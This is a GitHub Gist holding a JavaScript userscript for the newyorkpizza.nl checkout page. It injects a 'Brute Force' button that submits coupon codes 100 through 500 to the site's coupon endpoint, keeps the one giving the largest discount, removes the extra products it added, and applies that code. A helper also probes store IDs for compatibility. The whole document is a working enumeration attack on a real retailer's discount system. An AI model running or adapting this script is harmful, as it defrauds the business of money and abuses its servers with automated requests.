Last active
August 26, 2018 21:18
-
-
Save CrossVR/bc19b0151c71da8f198390e39b3b28fc to your computer and use it in GitHub Desktop.
NY Pizza Coupon
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ==UserScript== | |
// @name NY Pizza Coupon | |
// @version 1 | |
// @require https://code.jquery.com/jquery-3.3.1.min.js | |
// @match https://www.newyorkpizza.nl/secure/checkout | |
// @grant none | |
// ==/UserScript== | |
var results = []; | |
var originalOrder = []; | |
var nietBoeiend = ["CouponCanNotBeUsedInCombinationWithStore", "CouponCodeDoesNotExist"]; | |
var oldDisc = 0; | |
var oldCode = 0; | |
function makeIterator(array) { | |
var nextIndex = 0; | |
return { | |
next: function() { | |
return nextIndex < array.length ? | |
{value: array[nextIndex++], done: false} : | |
{done: true}; | |
} | |
}; | |
} | |
function myRefreshReceipt(code) { | |
var options={}; | |
options.url="/Menu/_ReceiptPartial"; | |
options.type="POST"; | |
options.data={showReceiptArrow:$("#ShowReceiptArrow").val()}; | |
options.success=function(html){ | |
$("#nyp-receipt-partial").html(html); | |
mySetCoupon(code); | |
}; | |
$.ajax(options); | |
} | |
function myRemoveProduct(code, it) { | |
var data = it.next(); | |
if (data.done) { | |
myRefreshReceipt(code); | |
return; | |
} | |
$.post("/Order/RemoveProductFromCurrentOrder",{productIdentifier:data.value}, function() { myRemoveProduct(code, it); }); | |
} | |
function myRemoveCoupon(code) { | |
var identifier = $(".remove-coupon").attr("data-coupon-identifier"); | |
// check the current discount | |
var discount = parseInt($(".nyp-discount-decoration").html().match(/[0-9]+/)); | |
if(discount >= oldDisc){ | |
console.log("new highest: "+discount+" code: "+(code-1)); | |
oldDisc = discount; | |
oldCode = code-1; | |
} | |
//console.log("code: "+(code-1)+" discount: "+discount); | |
//console.log("removing coupon: "+identifier); | |
var remove = []; | |
$(".nyp-receipt-remove").each(function(i) { | |
var id = $(this).data("product-id"); | |
if ($.inArray(id, originalOrder) == -1) | |
remove.push(id); | |
}); | |
var options = {}; | |
options.url = "/Order/RemoveCouponFromCurrentOrder"; | |
options.type = "POST"; | |
options.data = { couponIdentifier: identifier, alsoRemoveProducts: false }; | |
options.success = function (data) { | |
myRemoveProduct(code, makeIterator(remove)); | |
}; | |
$.ajax(options); | |
} | |
function myRefreshPromotionBlock(code) { | |
var activeTab = $('#checkout-promotion-container .nyp-tab-navigation li.active').find('a').data('tab'); | |
//console.log("refresh promotion block"); | |
$.get("/Checkout/_PromotionPartial/", function (html) { | |
$('#checkout-promotion-container').html(html); | |
//initPromotionBlock(); | |
unsafeWindow.tabs('#checkout-promotion-container'); | |
// Check which tab was active and make it active again | |
if (activeTab) { | |
unsafeWindow.openTab('#checkout-promotion-container', activeTab); | |
} | |
myRemoveCoupon(code); | |
}); | |
} | |
function mySetCoupon(code) { | |
var options = {}; | |
options.url = "/CheckOut/AddCouponCodeToCurrentOrder"; | |
options.type = "POST"; | |
if(code > 500 ){ | |
options.data = { couponCode: oldCode }; | |
options.success = function (data) { | |
if (data.succeeded) { | |
$("#brute-force").css("background-color", "#0f9b49"); | |
unsafeWindow.refreshReceipt(); | |
console.log("done"); | |
} | |
}; | |
} else { | |
$("#brute-progress").val(code - 100); | |
options.data = { couponCode: code }; | |
options.success = function (data) { | |
if (data.succeeded) { | |
results.push([code, "succes"]); | |
//results[code] = "succes"; | |
console.log("succes: "+code); | |
myRefreshPromotionBlock(code+1); | |
//mySetCoupon(code+1); | |
} else { | |
//hideAllCouponWarningMessages(); | |
//return data.error; | |
if(nietBoeiend.indexOf(data.error) == -1){ | |
//console.log("error["+code+"]: "+data.error); | |
} | |
//console.log("error["+code+"]: "+data.error); | |
mySetCoupon(code+1); | |
} | |
}; | |
} | |
$.ajax(options); | |
} | |
function resetAdress() { | |
changeAddressOnOrder("","","","","","",false); | |
} | |
function checkCodeCompat(code){ | |
data = { deliveryType: 1, storeId: code, removeIncompatibleCoupons: false }; | |
$.post('/Order/SetDeliveryTypeCurrentOrder/', data, | |
function (data) { | |
if (data.succeeded) { | |
console.log("yes compat id: "+code); | |
} else { | |
//console.log("not compat id:"+code); | |
} | |
if(code < 200){ | |
checkCodeCompat(code+1); | |
} | |
}, | |
"json"); | |
} | |
$("#checkout-form-container").prepend(` | |
<a class="btn btn-order btn-block" id="brute-force" title="Brute Force" type="button">Brute Force</a> | |
<progress id="brute-progress" value="0" max="400" style="width: 100%;"></progress> | |
`); | |
$("#brute-force").click(function(e) { | |
originalOrder = []; | |
$(".nyp-receipt-remove").each(function(i) { | |
originalOrder.push($(this).data("product-id")); | |
}); | |
mySetCoupon(100); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment